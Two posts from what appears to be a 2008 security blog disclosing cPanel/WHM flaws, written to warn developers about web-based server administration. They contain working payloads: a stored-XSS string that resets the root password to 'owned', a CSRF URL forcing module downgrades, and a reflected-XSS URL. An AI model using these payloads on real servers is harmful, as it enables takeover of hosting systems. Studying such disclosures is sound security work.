Let me repeat that: If you are logged into cPanel, and you hit a website that I can embed an image link in (which is nearly every web site out there, these days), I can root your server. I What's more, I won't leave any traces at all, because you actually root the server for me.

This is a big deal.

But it's worse than that. There are plenty of other CSRF holes in the WHM interface. Here, I can force you to download and install arbitrary code from cPanel's servers, downgrading or upgrading your software to a vulnerable version at will:

http://victim.com:2086/scripts2/saveuthemes?themetype=modules&${moduleName}=${versionNumber}

One final point, in case you think needing local access for my permanent XSS hole is too much work, here's a reflected XSS exploit:

http://victim.com:2086/scripts2/confdkillproc?%3Cscript%3Ealert(1337)%3C/script%3E=1&trusted=

Seriously, folks. Web-based management interfaces are a bad idea.

Labels: , , , , ,

Tuesday, August 5, 2008

cPanel Root XSS

cPanel is the industry leader in web hosting management software. According to their website, the software is used on "tens of thousands of servers worldwide". Basically, cPanel provides all the traditional UNIX system administration tools through a web-based interface. The interface is very nice, and I have a healthy chunk of respect for the perl-fu of the developers that built it.

From a security aspect, however, the software is flawed by design. The first problem is that mass hosting is the dumbest idea in the world. I'll talk about that in future posts.

The second problem, and the point of this post, is that by combining low-level tools with a web interface, you tend to get the worst of both worlds. An attacker can use techniques from the still-relatively-new domain of web application security to perform old-school attacks that have been fixed many times over.

It turns out that you can, in fact, use cross-site scripting to hack a server

Here's an example. I have quite a few more XSS and CSRF holes, but this should suffice for making my point.

Every cPanel user's account contains a file titled .contactemail in its home directory. This is used to tell the server and administrators who to email when things go south, and can be changed by the user through the cPanel interface, the file manager tool, FTP, or through local scripts. It's only a text file, after all. Assuming we set our email address to:

"onmouseover="alert(1337)

When the friendly system administrator tries to reset our email address (because we forgot our password, obviously), he will receive an alert box in his browser.

But an alert box doesn't really demonstrate anything. Fortunately the WHM (Web Hosting Manager) interface has enough functionality that we can perform just about any system-level task we want. This one will reset the root password to 'owned':

"onmouseover="f=document.forms[0];f.action='/scripts/passwd';f.user.value='root';f.removeChild(f.domain);d=document.createElement('input');f.appendChild(d);d.name='password';d.value='owned';d=document.createElement('input');f.appendChild(d);d.name='password2';d.value='owned';f.submit()

Of course, the only limit is your imagination- WHM can set up cron jobs, add and delete users, send full backups to a server of your choice, and reformat hard drives.

I'll be honest- I like having a web-based administration for servers, routers, printers, and other appliances. Web standards are cross-platform, and browser support is getting better all the time. But do we really need to replace shell-based administration with a web interface? I'm not going to answer "no" right away, but if you're going to do it, you need to be aware of the risks, and awfully careful.

Based on my experiences as both a coder and a penetration tester, a huge majority of developers (even the really good ones) don't understand what security risks there are, much less how to mitigate them. This isn't a problem that is limited to web developers, but it is much more pronounced in that field.

With that in mind, many of my future posts are going to be directed not to other security researchers, but to developers. If they are going to make an interface for managing a server, hopefully they care enough to educate themselves on the risks.

The exploit code above was last tested with cPanel 11.23.4-R26118/WHM 11.23.2 on 8-4-2008.

Labels: , , , , ,